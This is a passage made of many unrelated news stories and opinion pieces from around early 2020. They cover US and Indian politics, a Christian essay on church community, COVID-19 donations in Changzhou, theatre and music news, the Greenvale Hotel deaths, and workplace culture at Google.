time. Nakagiri, who also serves as director of a Livingston County pro-Trump organization, said Slotkin is further to the left than Ocasio-Cortez. Theres no litmus test, I want someone who can beat Slotkin, Nakagiri said. The Republican hopefuls largely agreed on many of the issues discussed Thursday, standing against red flag gun laws, sanctuary cities and government-run health care. Snyder, who described herself as a tough and pissed off mom," shared her experience refusing to provide abortion services while working as a nurse in Michigan. Snyder said she would sponsor legislation to refuse public funding to any hospital that does not allow labor delivery nurses to opt-out of performing abortions. Lyke took it a step further, proposing a bill that would make illegal for anyone to perform an abortion. Candidates praised the president for killing Iranian Gen. Qassem Soleimani and harshly criticized Slotkin for introducing a House war powers resolution calling on Trump to seek Congressional approval before embarking on further military action against Iran, unless in the case of an emergency. While each of the candidates scored big applause from the audience, its yet to be seen who can marshall the funds necessary to take on Slotkin. After winning one of the most expensive House races in Michigans electoral history, Slotkin has $2.8 million in cash on hand for her re-election campaign. Meanwhile, Slotkins five opponents havent raised half of one million dollars combined. Junge has most of that sum, who raised $273,418 by the end of 2019, according to Federal Elections Commission filings. Junge, who briefly served as media relations official in the Trump administration, touted his fundraising ability, saying he is uniquely positioned to take on Slotkin. His campaign organization was recognized by the National Republican Congressional Committee, the campaign arm of House Republicans. Ladies and gentlemen, we all will be good Republican votes but we all need resources to defeat Elissa Slotkin and the left-wing that will do everything they can," Junge said. Detmer told voters to support whomever they believe in, calling Junges boast absurd considering much of his money came from family members and a $125,000 loan Junge made to his campaign committee. Hennessey said Slotkin starts the campaign season with a strong relationship with 8th District voters built on legislative accomplishment and principled leadership. Slotkin is holding a Friday town hall to speak with constituents about her work during the last year. Maddock encouraged voters to show their dissatisfaction at the Friday town hall. Slotkins campaign will kick a volunteer canvassing effort in February to energize supporters and reach swing voters. The Trump administration published its 2021 budget on Monday. The $4.8 trillion proposal makes modest cuts to domestic expenditures while increasing military spending to $740.5 billion. The budget is not expected to be approved by Congress as-is, but if history is any guide, Washington will probably end up spending more, not less, than President Donald Trump suggests. Military spending may be slightly reorganized, but it almost certainly will not decrease. This prediction can be made with confidence because too many policymakers in Washington are firmly convinced that more money equals more security. They always think inflating military spending will make us safer. This is a dangerous myth. Spending is not inherently of strategic value. The last two decades of foreign-policy missteps, corresponding to ever-higher spending by the Pentagon and related departments, have made this evident. Hiking those expenditures yet again is no substitute for developing a realistic grand strategy that prioritizes diplomacy and pursues peace. The Pentagon has a long record of shoddy accounting and unjustified outlays. It wastes and loses billions with ease. The results of the Pentagons second-ever comprehensive audit were reported in November, and just like in the previous year, it failed. But heres the real rub: Even if the Pentagon passed its audit with flying colors, even if its accounting systems were perfectly accurate, wed still be facing the larger problem of defense dollars being used in ways that do not enhance our defense. We do not only speak here of Pentagon funds going to non-military projects, end-of-the-year spending sprees which are blatant attempts to needlessly boost the next years budget, or even money lost to boondoggles like the F-35 jet though all those are worth a mention. More important than any of these details is the strategic big picture, which is indisputably grim. Our reckless, military-first foreign policy has embroiled the United States in conflicts unconnected to our vital national interests. In the post-9/11 era, American troops are more or less permanently engaged in ongoing hostilities, as Ret. Col. Andrew Bacevich wrote at Foreign Affairs. Nothing really ends. Meanwhile, as if on autopilot, the Pentagon accrues new obligations and expands its global footprint, oblivious to the possibility that in some parts of the world, U.S. forces may no longer be needed, whereas in others, their presence may be detrimental. Trump has offered critiques similar to Bacevichs, repeatedly promising to end our endless wars in Afghanistan, Iraq, Syria, Yemen, and beyond. Instead, he has yet to end a single one of the many U.S. military interventions in the greater Middle East and Africa. Thus, as Bacevich summarizes, considerable sacrifices by U.S. forces and stupendous sums expended by the Pentagon have produced little of the promised resultsdisorder curbed, democracy promoted, human rights advanced, terrorism suppressed. That indefensible pattern continues under this administration just as it did under the prior two. Not to be missed in Trumps budget proposal is his plan to cut the State Department budget, already a small fraction of what the Pentagon gets, by nearly a quarter from 2020 to 2021. To put it mildly, this is an eyebrow-raising move at a time when we need competent, trustworthy diplomats more than ever. Tensions with nations like Russia, North Korea, and Iran could escalate into war if we do not have the resources to advance U.S. interests via effective, working-level diplomacy. Meanwhile, the wars in which we are embroiled might just keep on going. If you dont fund the State Department fully, then I need to buy more ammunition ultimately, Trumps first defense secretary, Gen. James Mattis, famously said. He was right: Diplomacy is crucial to U.S. security and far less expensive than military action. A prudent federal budget would ensure the State Department is well equipped to pursue productive negotiations with friends, great-power rivals and regional troublemakers alike. A diplomacy-first foreign policy is the surest way to promote peace and keep Americans safe. Our federal budget should reflect that truth. Bonnie Kristian is a fellow at Defense Priorities and contributing editor at The Week. Her writing has also appeared at CNN, Politico, USA Today, the Los Angeles Times, Defense One, and The American Conservative, among other outlets. The views expressed are the author's own. They were probably never real Christians anyway, a friend remarked with despairing, cold comfort. We were discussing friends who had left Christianity after a messy church situation. Because of the church crisis, people became confused, scattered, and heartbroken. As a result, some who once seemed devoted to God were no longer sure what they believed. Through the years, Ive had friends and family in various high-profile churches that blew up, including Mars Hill, Sovereign Grace, and a smaller denomination that went through turmoil. Whether from a leaders moral failings, intense division, sexual abuse mishandling, or petty cruelty, the disruption of a church community always leaves havoc in its wake. Another friend grimly told me that it just showed how little faith we should put in people, and we should instead put all of our faith in God alone. God alone is a significant emphasis for those discouraged and even traumatized by their church experience, as many are left wondering whether any church is worth the risk. Still others leave God behind, as well as the church. I know of pastors kids who eventually left the faith, influenced by the unfair vitriol they saw their parents live through in the ministry. Ive talked to women who have been deeply scarred by church discipline or corporate shaming for divorcing their abusive husband or church leaders who mishandled their abuse or the abuse of their children. They still have faith in God, but they couldnt see how the church could be a help. After all, it was the church that made their situation far worse, instead of bringing healing. After my personal wounds in the church, I also struggled with wondering whether the church was a benefit when it had deeply hurt so many, including myself. Yet we were made for community, and our faith was meant to be nurtured and encouraged within a church community. It feels difficult to see that design as beautiful again after community upheaval. To my surprise, I found a striking lesson of hope (and a warning) in the way God created forests to grow. The same God who tells us to go to the ant when we are feeling lazy (Prov. 6:6) has given us a beautiful analogy and example in how trees grow together. German forester Peter Wohlleben explains the communal nature of the forest in his book The Hidden Life of Trees. Ancient or undisturbed forests that have been allowed to grow without human intervention demonstrate breathtaking community support. He claims, A tree can be only as strong as the forest that surrounds it. More recently in ecology, studies suggest that trees work socially together for the good of the forest as a whole, complicating the older theories that trees were competitors in a Darwinian struggle for resources. Trees, Wohlleben shares, are interdependent. German scientists in the Harz mountain region found that individual trees of the same species are connected to each other through their root system. Through this root system, trees can communicate with each other through the fungal networks around the root tips. Trees also communicate by giving off a warning gas to neighboring trees about nearby threats. They warn each other of pests, drought, and disease, allowing other trees to make changes to better withstand such dangers. Not only that, but trees use their root systems to help other trees in times of need by exchanging nutrients and sharing water. The social aspect of the forest is so strong that Wohlleben uses words such as friends in an interview to describe the relationship between two interconnected trees. He also explains that young trees under the heavy shade of mature trees cant photosynthesize properly, so the mother trees, the mature trees, suckle their young by sharing nutrients through the root system. These strikingly human descriptors used by Wohlleben and other researchers have been criticized, yet they continue in use because they create helpful depictions to explain the community-orientated behavior of ancient forests. While trees of the same species have unique community lines, they will even form alliances with other tree species as well. Article continues below But why are trees such social beings? Why do they share food with their own species and sometimes even go so far as to nourish their competitors? Wohlleben asks. The reasons are the same as for human communities: there are advantages to working together. A tree is not a forest. On its own, a tree cannot establish a consistent local climate. It is at the mercy of wind and weather. But together, many trees create an ecosystem that moderates extremes of heat and cold, stores a great deal of water, and generates a great deal of humidity. And in this protected environment, trees can live to be very old. This doesnt sound like a Darwinian, survival-of-the-fittest scenario. In fact, many evolutionary biologists today also tell the story of how organisms cooperate. And it sounds much more like how the church is supposed to be. Just as every church member is of value, so, Wohlleben says, Every tree, therefore is valuable to the community and worth keeping around for as long as possible. And that is why even sick individuals are supported and nourished until they recover. Humans were created to need community, and research shows the clear benefits to healthy relationships and community. Having plenty of quality relationships results in better mental health, less disease, and longer life. According to Harvard Health Publishing, One studyfound that lack of strong relationships increased the risk of premature death from all causes by 50 percentan effect on mortality risk roughly comparable to smoking up to 15 cigarettes a day, and greater than obesity and physical inactivity. The quality of our relationships affects everything from our endocrine and immune function to our nervous system activity. The same God that made undisturbed forests interdependent also made our bodies, minds, and spirits to need community for our mental and physical health. Spiritually, Christians arent standing alone, but rather are part of a chosen people, a royal priesthood, a holy nation (1 Pet. 2:9). We are equally part of the body of Christ, so that members may have the same care for one another. If one member suffers, all suffer together; if one member is honored, all rejoice together (1 Cor. 12:2526, ESV). Forests will care for sick trees and the young and tender trees growing underneath the shade, and they share information and nutrients with each other. Likewise, the Bible tells us to share with those who have less (2 Cor. 9); to care for the vulnerable (Ps. 82:34), the orphans and widows, the oppressed, and the downtrodden (Isa. 1:17); to warn others of danger (1 Thess. 5:14; 2 Thess. 3:15); and to act with unity (1 Cor. 1:10). If communities strengthen us when we are weak, offer love and support, and help warn us of dangers, what happens when that community is suddenly gone? The forest gives us a grimmer analogy here. Rather tragically, my parents had to cut down several majestic towering trees on their property shortly after they bought it. An arborist told them that without the root support of the forest that had been mostly cleared away already, they were at great risk of falling down in a high wind. This was likewise true for my friends who had grown rooted in a community where they found sustenance and support for their faith and lives. When the majority of it was suddenly cleared in upheaval, their faith, as well as my own, was buffeted without support in the stormy weather. Article continues below I still trust that God can and will bring my friends who left Christianity back to faith at the right time, but I no longer view their departure from the church as surprising. I view it instead as a distressing byproduct of the uprooting of an unhealthy community. There is a cost to community living because if we can care for and help each other, we also have the power to greatly hurt and damage each other. Wohlleben describes the occasional cost of the forest being connected, including a tree that had been struck and killed by lightning. The surprise was that another ten Douglas firs within a radius of 50 feet of the strike experienced the same fate. Clearly, the surrounding trees were connected to the victim underground, and that day, instead of life-giving sugar, what they received was a deadly serving of electricity. I have had to lean into my personal faith through the shattering pain Ive experienced within the church. Ive felt the jolting pain of receiving a shock through the actions of members in a church community I trusted who misused that trust. I did have to redirect my trust in God alone. Unlike trees, we arent merely connected to our local communities. We are grafted into Jesus himself. He is our source of faith and endurance (Rom. 11), and this is very good news for us when facing broken communities. Unlike trees, we are also empowered to leave unhealthy situations and find healthier communities. It was my faith in Jesus, to my surprise, that led me to eventually trust again in his plan for us to thrive as part of a healthy community, as imperfect as that often looks. Despite the heartache Ive seen far too often, Ive found, like a tree in a forest, we can all be rooting for each other and grow stronger together. Wohlleben explains that the communal forest can withstand even hurricane-level winds as the tree community stands together to help each individual tree. Its a beautiful picture of what the church community is capable of when we weather the storms of life together. Kimi Harris is a writer, mother, and wife of a pastor. She and her husband serve in the Midwest. We all have those albums that define a period of our past life so absolutely that hearing them takes us instantly back in time. For me, its Everclears 1990s albums Sparkle and Fade and So Much for the Afterglow. Everclear Credit:Paul Brown I can't think of any better evidence of the power they still hold over me than that the prospect of seeing this symbol of my teenage years lured me to Fremantle on a work night for a set starting at 10.30pm. Since those albums, and follow-up Songs from an American Movie Vol. One, all of which went platinum, Everclear have toured continuously and released another seven albums right up until 2015s Black is the New Black. Introducing myself to these later releases in the weeks before the show, I was pleasantly surprised as my friend put it, I was expecting Foo Fighter-like generic dad-rock, but its far better than that. Of course I think that, but its not just me, Mr. Reid said, citing what he called a general view that Nevada is more representative of whats going on in the country. We have a state that is extremely diverse about half the state is white, the rest is minorities, he noted. We have a state that is environmentally sensitive. It is a state thats heavily unionized. Mr. Reid, 80, is staking his hopes in part on Saturdays caucuses here, and a number of his current and former advisers have been deeply involved in preparing the state to avoid an Iowa-style meltdown. Nevada has held several days of early voting, with all signs so far pointing to strong turnout. Should the caucuses go off well this weekend and thus strengthen Nevadas claim to a place of privilege in the presidential nominating process it would represent a personal triumph for Mr. Reid, who set out more than a decade ago to give his state a powerful hand in selecting presidential candidates. A longtime critic of Iowa and New Hampshire, Mr. Reid engineered an early role for his state starting in the 2008 election cycle and the significance of Nevada has grown on the Democratic side with each successive campaign. The prospect of Iowa or New Hampshire being displaced in 2024 now appears more plausible than ever, as a result of the fiasco in Iowa this month and Democratic leaders growing discomfort with the homogeneous character of those states. CHANGZHOU, China, Feb. 21, 2020 /PRNewswire/ -- A growing number of the foreign-funded firms located in Changzhou National Hi-Tech District have joined in the efforts to control and prevent the further spread of the novel coronavirus (COVID-19). ThyssenKrupp Steering System (Changzhou) CEO Sebastien Baran said: "It never once crossed my mind to return to Europe during this period, and I fully believe that the Chinese government and people can win the battle against the scourge." Foreign companies make donations Many foreign companies in Changzhou National Hi-Tech District have already made donations. In addition to cash, some of the firms have provided medical supplies including specialized equipment and instruments in short supply in the affected areas. ThyssenKrupp's operating subsidiaries in China have jointly donated 2 million yuan (approx. US$285,000 ) to the China Charity Federation to support epidemic control. have jointly donated (approx. ) to the China Charity Federation to support epidemic control. Mettler-Toledo ( Changzhou ) Measurement Technology has assembled 500,000-yuan (approx. US$71,000 ) worth of its biological and virus detection products for donation to organizations badly in need of supplies. ) Measurement Technology has assembled (approx. ) worth of its biological and virus detection products for donation to organizations badly in need of supplies. Deeson ( Changzhou ) Vehicle Technology provided over 20 recreational vehicles for the free use of medics and workers on the front lines. ) Vehicle Technology provided over 20 recreational vehicles for the free use of medics and workers on the front lines. The wholly owned subsidiary of SC Johnson & Son, Inc. in Changzhou City supplied 500,000 yuan worth of disinfection products and another 500,000 yuan in cash to the city of Wuhan for the purchase of protective clothing, masks, goggles and other medical protective equipment. City supplied worth of disinfection products and another in cash to the city of for the purchase of protective clothing, masks, goggles and other medical protective equipment. LEDVANCE Lighting Technology ( Shenzhen ) furnished some 5,000 sets of UV bactericidal lamps to designated hospitals. ) furnished some 5,000 sets of UV bactericidal lamps to designated hospitals. Hyundai ( Jiangsu ) Construction Machinery donated epidemic prevention materials to the Red Cross Society of Xinbei District, Changzhou City. The materials, valued at 677,262 yuan ( $US 96,429 at today's exchange rates), were purchased from South Korea with the help of its controlling shareholder Hyundai Engineering & Construction. Foreign companies remain committed in their belief in China's huge growth potential Changzhou National Hi-Tech District, a key destination for foreign capital in the Yangtze River Delta, has attracted the presence of some 1,800 foreign companies, including more than 30 of the world's top 500 firms. In 2019, the district's GDP rose to 156.3 billion yuan (approx. US$22.3 billion), up 7.5 per cent from 2018, with US$1.32 billion in committed and US$762 million in paid-in foreign capital. Since the outbreak of the coronavirus, many foreign-funded firms with deep roots in China going back many years have shown their willingness to work together with the China government and people to overcome the current difficulties. A number of foreign companies in the district said the impact of the epidemic on the Chinese economy is transient and controllable. They fully believe that, after the outbreak, China's economy and society will bounce back and continue to flourish. Despite the virus's impact on the export supply chain as well as the manufacturing, marketing and shipment of goods, the Chinese market still has huge room for growth in the long term. The size, potential, scope and vitality of the Chinese market remain with their bright prospects for the future intact. ThyssenKrupp Steering System (Changzhou) CEO Sebastien Baran said "As China is the world's largest auto market, the epidemic may have certain adverse effects. However, I believe in China's great potential and look forward to deepening our business cooperation with partners in China's auto parts sector." SOURCE Changzhou National Hi-Tech District Related Links www.cznd.gov.cn Kate Fleetwood has scooped the role of Cruella de Vil in the new musical based on Dodie Smith's classic 101 Dalmatians Kate Fleetwood has scooped the role of Cruella de Vil in the new musical based on Dodie Smith's classic 101 Dalmatians. 'Puppies,' said Fleetwood down the phone from Prague. She invested a great deal of menace in the word. 'My usual type of territory,' she joked, a reference to the roles she often plays, such as Lady Macbeth and Medea. She said she couldn't resist playing Cruella in the production that Timothy Sheader will direct at the Regent's Park Open Air Theatre, where he is artistic director, from May 16. While not a trained musical theatre actor she does have form she appeared in Rufus Norris's superb production of London Road at the National and Maria Friedman's staging of High Society at the Old Vic. Fleetwood and her nine-year-old daughter watched the Disney animated film together. 'She said: 'Do it, Mummy, so I can come and see you in it!' I'm always playing killers on stage,' Fleetwood told me. 'So she can come see this one.' She laughed and said the show's like Joseph, dreaming about his Technicolor Dreamcoat 'but with fur'. She said she couldn't resist playing Cruella in the production that Timothy Sheader will direct at the Regent's Park Open Air Theatre, where he is artistic director, from May 16 It's also, she pointed out, a 'clever little conceit that we're in the park where the story takes place'. She explained that in the new show, Cruella is a modern-day socialite who is desperate to be seen. 'No discernible talents, but she wants to be noticed,' said Fleetwood, who was in Hungary filming the Amazon TV version of Robert Jordan's fantasy novels The Wheel Of Time, in which she plays the huntress Liandrin Guirale. Emma Stone is pictured playing Cruella, left, while Glenn Close is seen right in the same role for the 1996 film Watch out for... Daniel Evans and Jenna Russell, who starred together in Sunday In The Park With George in London and on Broadway, and have joined forces again to produce a series called Donmar Lates, to be performed at the Donmar Warehouse. Game Of Thrones Hannah Waddingham will play two nights March 25 and 26, at 9.15pm while Giles Terera will do his sets on March 27 and 28, at the same time. Evans is now the artistic chief at Chichester Festival Theatre, while Russell is gearing up to play Irene Molloy in Hello Dolly, starring Imelda Staunton at the Adelphi (which starts previews on August 11). Game Of Thrones Hannah Waddingham will play two nights March 25 and 26, at 9.15pm while Giles Terera will do his sets on March 27 and 28, at the same time The pair (who both won Olivier awards for their performances in Sunday In The Park) have curated songs for the cabaret evenings along with musical director Theo Jamieson from the likes of Noel Coward, Lin-Manuel Miranda and, of course, Stephen Sondheim. I wrote about Terera doing a workshop of a musical by Leslie Bricusse called Sammy, about Sammy Davis Jr. The show will go into the Lyric, Hammersmith, with Terera in the title role, from late July for a limited season. Rex Reed, the one-time actor (he was in sex-change cult classic Myra Breckinridge with Mae West, for heavens sake!) turned feared film critic. Reed will perform for three nights two shows nightly at The Pheasantry in Chelsea on February 28 and 29, and March 1, telling stories about old pals such as Alice Faye, and warble some numbers by the likes of Jule Styne and Anthony Newley. Antoinette Nwandu, whose scorching play Pass Over has been given a blistering production, directed by Indhu Rubasingham, at the Kiln Theatre. The poetic drama is about Americas shoot-first culture. It stars Paapa Essiedu, Gershwyn Eustache Jnr and Alexander Eliot. Unmissable. By IANS NEW DELHI: "A bad candidate cannot claim a premium just because the party he belongs to is good. An evil is an evil..." This commentary on BJP is not by any opposition leader but from within. RSS' English language mouthpiece 'Organiser' has come up with a scathing observation, quoting Deendayal Upadhyaya, on the BJP, it's Delhi unit and the candidates who were launched in the poll fray in the aftermath of a humiliating loss in the national capital. In a no-nonsense approach, the author asserted that the BJP as an organisation needs to understand that Amit Shah and Narendra Modi "cannot always help out". "Narendra Modi and Amit Shah cannot always help out in the Assembly level elections and there is no option but to rebuild the organisation in Delhi to address the local aspirations," read the article. The article titled 'Delhi's Divergent Mandate' authored by its editor Prafulla Ketkar called for understanding the "context of city-state voting behaviour" in Delhi. The article says the answer lies in the changing character of aspirational Delhi. Stating that the 'Shaheen Bagh narrative' failed for the BJP because Arvind Kejriwal steered clear of it. But taking a dig at the saffron avatar of Kejriwal, the author subtly asks BJP to keep a watch on him. He asks, "This genie of Muslim fundamentalism experimented under the pretext of CAA may create a new testing ground for Kejriwal. How does Kejriwal respond to this danger? How far was his chanting of Hanuman Chalisa genuine?" It was reported earlier that both the Sangh and VHP are content with the Hindu-centric politics that forced Kejriwal to adapt to the changing trend. But Ketkar is apprehensive that it's not 'genuine' side of the AAP. He sent out a clear message to the Delhi unit: you failed. The apparent failure of BJP to revitalise the organisational structure at the grassroots level after 2015 was recognised as one of the prominent reasons for the poll debacle in which BJP secured just eight seats as AAP swept to power with 62 seats.A After the defeat, the BJP went into multiple huddles -- one with general secretaries, another in which Delhi BJP chief Manoj Tiwari was quizzed by party chief J.P. Nadda and General Secretary (Organisation) B.L. Santosh and several others. While the Delhi unit has blamed it on Congress giving it up, thus making it easy for the Aam Aadmi Party, the central BJP blames the faction-ridden Delhi unit as well. This is one of the reasons why the party refused to project any chief ministerial face ahead of the polls. Forensics at the scene of the deaths at the Greenvale Hotel in Cookstown, County Tyrone. Pic Colm Lenaghan/Pacemaker The father of one of the Greenvale Hotel tragedy victims has said his family has been "re-traumatised" after it emerged that police reports linked to the case have not yet been sent to the Public Prosecution Service (PPS). James Bradley's son Morgan Barnard (17) was one of three teenagers who died in a crush outside the Cookstown hotel on St Patrick's night last year. Lauren Bullock (17) and 16-year-old Connor Currie also lost their lives. In the wake of the deaths the hotel's owner, Michael McElhatton, and another man were arrested on suspicion of manslaughter, however they were later released on bail. Expand Close Morgan Barnard Photopress / Facebook Twitter Email Whatsapp Morgan Barnard Mr McElhatton was questioned a second time before being released pending a report to the PPS. Seven other men were also interviewed by police and files are being prepared for the PPS. The Police Ombudsman is also probing the actions of seven officers at the scene on the night of the tragedy. James Bradley told The Irish News the delays are "totally devastating" and "re-traumatising" for his family. "Almost a year on and there has been virtually no progress," he said. Expand Close Lauren Bullock / Facebook Twitter Email Whatsapp Lauren Bullock "How can anybody have faith in the justice system when that same system failed to take steps to prevent the tragedy in the first instance and now continues to fail by taking little or no steps to ensure accountability for the events of that night." Solicitor Darragh Mackin, who is representing the parents of the three teenagers, has written to Justice Minister Naomi Long to highlight his clients' concerns. "There have been a number of revelations which have given our client grave concern as to the effectiveness of the justice system," he wrote. Expand Close Connor Currie Photopress / Facebook Twitter Email Whatsapp Connor Currie "In addition, there is no estimated time frame as to the conclusion of the Police Ombudsman investigation, a decision on whether or not to prosecute Mr McElhatton or the conveying of an inquest. "The delay in progressing an effective investigation into this matter has caused our client considerable concern. "In addition, given the number of public bodies whom our client believes bear some responsibility into the events of that night, there appears to be no current or ongoing effective magnesium which can access the totality of the acts of those potential responsible." Expand Close Michael McElhatton, owner of the Greenvale Hotel (Liam McBurney/PA) PA Wire/PA Images / Facebook Twitter Email Whatsapp Michael McElhatton, owner of the Greenvale Hotel (Liam McBurney/PA) Of the seven officers being investigated by the ombudsman, five are being investigated for misconduct in public office, while two others are being investigated for potential disciplinary matters. It emerged following the tragedy that four officers withdrew from the scene and did not intervene for 16 minutes. A PSNI spokesperson said: "The investigation into the tragic deaths of three teenagers at the Greenvale Hotel in Cookstown on Saint Patricks Day 2019 continues and all evidence will be reported to the PPS in due course. "As this is a live investigation, it would be inappropriate to comment further." The Greenvale Hotel is to close on the first anniversary of the deaths. Hubballi: A 33-year-old Muslim youth is all set to become the head of a Lingayat math in Asuti village of Ron taluk in Gadag district of Karnataka. Influenced by the preachings of 12th century social reformer Basavanna, Deewan Sharief Rahimansab Mulla received sanyasa deeksha in November last year. On February 26, he will be formally appointed seer of the newly constructed Murugharajendra Koraneshwar Shantidhama, a math which will become a branch of the more than 300-year-old Koraneshwara Samsthan Math situated in Aland taluk of Kalaburgi district. Rahimansab, the late father of the Muslim youth, was a staunch follower of Basavannas philosophy and Khajuri math for more than three decades. He used to treat patients with herbal medicine as per the guidance of the seer as he was also an Ayurveda expert. The youth came into contact with the Khajuri seer after the demise of his father and expressed his willingness to receive Lingaya Deeksha as per the Lingayat tradition. The Muslim family has also donated two acres of land in Asuti to build a branch of the Khajuri math in the village. The seer has taught the Muslim youth, who has studied up to 3rd standard, the philosophy of saint Basavanna and the Lingayat tradition. The youth has already built a lake adjacent to the land donated by his family and the construction of the new math is also underway. I took Linga Deeksha as I am attracted to the principles of saint Basavanna and realized that humanity is the biggest religion. Everyone has the freedom to follow the religion of his choice. Lingayat religion treats all as equals without causing any discrimination, Deewan Sharief Mulla told Deccan Chronicle. Meanwhile, the seer of Khajuri math Murugharajendra Koraneshwar Swamiji said that Sharief will become head of the Lingayat math at a grand ceremony in the presence of many seers and leaders. He also said that an annual fair and mass marriage programme is being held on this occasion. Ours is a religious institution following Basava tradition and people of all castes and religions are allowed to follow it. Our Constitution has provided the right to all to follow the religion of their choice, Khajuri mutt seer said. Prince Harry and Meghan, the Duchess of Sussex will not use their "Sussex Royal" brand "in any territory post spring 2020," a spokeswoman for the royal couple has confirmed. The pair had intended to use it for their charity foundation, but will now be forced to change their brand name. "While The Duke and Duchess are focused on plans to establish a new non-profit organisation, given the specific UK Government rules surrounding use of the word Royal, it has been therefore agreed that their non-profit organisation, when it is announced this Spring, will not be named Sussex Royal Foundation," the spokeswoman said in a statement provided to NBC News. "The Duke and Duchess of Sussex do not intend to use 'SussexRoyal' in any territory post Spring 2020. Therefore the trademark applications that were filed as protective measures, acting on advice from and following the same model for The Royal Foundation, have been removed." It was announced on Wednesday that the couple will officially begin their new lives away from the royal family on March 31. As a result, the couple will no longer have an office at Buckingham Palace, a spokeswoman for the couple told Britain's Press Association news agency. However, Harry will be allowed to keep his military ranks of major, lieutenant commander and squadron leader, and the royal couple will also continue to be known as the Duke and Duchess of Sussex, as well as the Earl and Countess of Dumbarton and the Baron and Baroness Kilkeel, the spokeswoman said. The Sussexes stunned the public when they announced last month that they intended to "step back" from the royal family, divide their time between the United Kingdom and North America and start paying their own bills. A dramatic week followed as the palace announced that Queen Elizabeth II wanted to quickly come to an agreement on the couple's future. Harry met with his grandmother; his father, Prince Charles; and his older brother, Prince William, at her Sandringham estate. It was later announced that they would no longer be senior royals, that they would split their time between Canada and the U.K., with the majority spent in North America, and that they no longer be known as his and her royal highnesses. A few days later, Harry said that the decision to step back was not one he had made lightly and that it brought him "great sadness that it has come to this." The couple have been living on picturesque Vancouver Island in the northeastern Pacific Ocean just off the coast of British Columbia. Their departure from royal duties marked the end of a tumultuous period for the Sussexes, which saw them criticized in some quarters for an appearance in a documentary by the British broadcaster ITV, in which they spoke about family rifts and the pressures they have been facing. The couple have also been battling the British tabloids. Shortly after the birth of Archie Harrison Mountbatten-Windsor in May, the pair sued The Mail on Sunday's parent company, Associated Newspapers, after the tabloid published a private letter Meghan wrote to her father. THE millions of euro set aside to deliver Limericks first directly elected mayor should instead go towards opening a respite house for kids with severe disabilities. Thats the view of Fianna Fail councillor Kieran OHanlon, who was speaking to a motion calling for the local authority to urge the new government to release funding and allow of the new St Gabriels Centre in Dooradoyle to open. Despite being completed 15 months ago after a fundraising effort from Limerick people, the facility, which cost 2.9m is out of use due to the fact the HSE is unable to cover its operational costs. At this months metropolitan meeting, Independent councillor Fergus Kilcoyne saw a notice of motion unanimously passed asking that council send a letter to the incoming government so the centre can be opened without delay. With a new government not yet in place, Cllr Kilcoyne said: We should send a letter to the leaders of all the political parties, and then once a government is formed, send it onto the Health Minister. Cllr OHanlon said: Its a disgrace this has been neglected. Money has been wasted and squandered elsewhere. Yet this government has put down 5m for the directly elected mayor project. If we have this kind of money to spend, we should use it for something like this. Cllr Joe Leddin, Labour, added: It beggars belief this sort of thing could happen. Where else in the world is a state-of-the-art facility finished yet still out of use? Its completely representative of the shambolic neglect in the higher echelons of the HSE. His party colleague, Cllr Elena Secas proposed a motion that HSE bosses come in and answer questions on the centre, something seconded by metropolitan district leader, Cllr James Collins. She also saw a motion passed asking council to write to the HSE to put in place funding for the school nurse at St Vincents special school in Lisnagry and ensure it does not lose its nurse this year. Cllr Collins said of St Gabriels: It was funded by the people of Limerick and here we are a year late as the HSE cant find the funding. The nearest respite care centre is in Dublin. For St Gabriels, the HSE granted one-off funding in 2019 to appoint a manager and buy equipment at a total of 195,000 which is just 15% of the annual operating cost of 1.3m. Last month, the chief executive of the centre Marie OLeary said: The problem is the HSE locally, who have been very supportive of the respite house development, just dont have the funds. Acute needs projects such as this are funded year-in, year-out across the country from the HSE nationally, but nothing has come out way. We have an amazing purpose-built facility completed, 120 children across our region with the most severe life-limiting challenges who badly need it, and yet its unoccupied, she added. An open day was held at the centre to highlight the need for the facility. The Madras High Court on Friday dismissed a writ petition filed by Puducherry Chief Minister V Narayanasamy against a decision of Lt Governor Kiran Bedi and the Centre. Narayanasamy had approached the court following the decision to disburse cash instead of free rice to ration cardholders in the Union Territory. Dismissing the writ petition, Justice CV Karthikeyan said: "The President had concurred with Lt Governor and she is bound to implement his decision. The CM must know it." Following the decision, Bedi thanked the Madras High Court for upholding the decision. "We thank the Honourable High Court of Madras, Justice CV Karthikeyan for upholding the directions of GOI, MHA to Puducherry Administration to transfer money directly into bank accounts for free rice and not the way it was earlier. Which was procuring, storing, testing, distributing and checking pilferage," Bedi's tweet on Friday read. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A remote outback teacher from Western Australia has been charged after allegedly pestering a child to engage in sexual behaviour over social media. The man, from the remote Goldfields-Esperance district of Western Australia, has been accused of using social media to engage in online sexual behaviour with a girl who he met while he was a teacher. The teenager, aged under 16, was not his student at the time of the alleged offending which occurred between December last year and January, WA Police said on Friday. The teacher allegedly preyed on the girl online, encouraging her to engage in sexual conduct Detectives from Kalgoorlie Police Station (pictured) searched the man's home on Tuesday The teacher will appear in Kalgoorlie Magistrates Court (pictured) on March 23 Kalgoorlie detectives searched the man's house on Tuesday and allegedly found child abuse material on some of his electronic devices, police said. Police said they are still analysing the devices. The man has been charged with three counts of encouraging a child over 13 and under 16 to engage in sexual behaviour, three counts of indecently dealing with a child, one count of persistent sexual conduct with a child, and one count of possessing child exploitation material. The teacher is due to appear at Kalgoorlie Magistrates Court on March 23. The investigation is ongoing and police urge anyone with information to call Crime Stoppers on 1800 333 000 or make a report online at www.crimestopperswa.com.au Google employs some of the smartest people in the world, working on some of the most advanced technology imaginable. For a long time, that combination made it one of the best places in the world to work. Google has long been legendary for both its perks as well as an egalitarian culture that encouraged employee feedback through access to top executives. In the last few years, however, that has changed. Not all of it--there's still plenty of free food and daycare and shuttle buses that will take you to and from work. But the culture has undoubtedly changed. In fact, The New York Times this week published an exhaustive piece about the change in culture at Google, focusing specifically on how the company has handled recent efforts by employees to affect change on a range of issues. While we don't have time to cover everything from that piece (seriously, it's 7,500 words), the discontent revealed highlights a growing and very real problem when it comes to Google's culture. And there are lessons for any founder or manager of people. You solve a culture problem by engaging with your people. That seems to be one area Google hasn't yet mastered. In fact, you could argue it's an area Google falls quite short. Google's headcount has doubled since 2015, which understandably means that there are far more people at the company, and every one of them brings a set of circumstances, beliefs, values, and concerns to work. At the same time, the company has changed the way it addresses those concerns and that has made some employees feel that they're no longer valued. The discontent began to boil over in November of 2018 when 20,000 employees staged a walkout over a variety of concerns, including how the company was handling claims of sexual harassment. Then, this past November, I wrote about how Google was ending its long-standing all-company meeting. And just this month, the company's head of people operations announced she would leave that position. Combine that with what the Times report describes as a "clamp-down" on any kind of internal dissent, and you have a perfect storm of both rising discontent within the company--especially with the way management handles that discontent. The thing 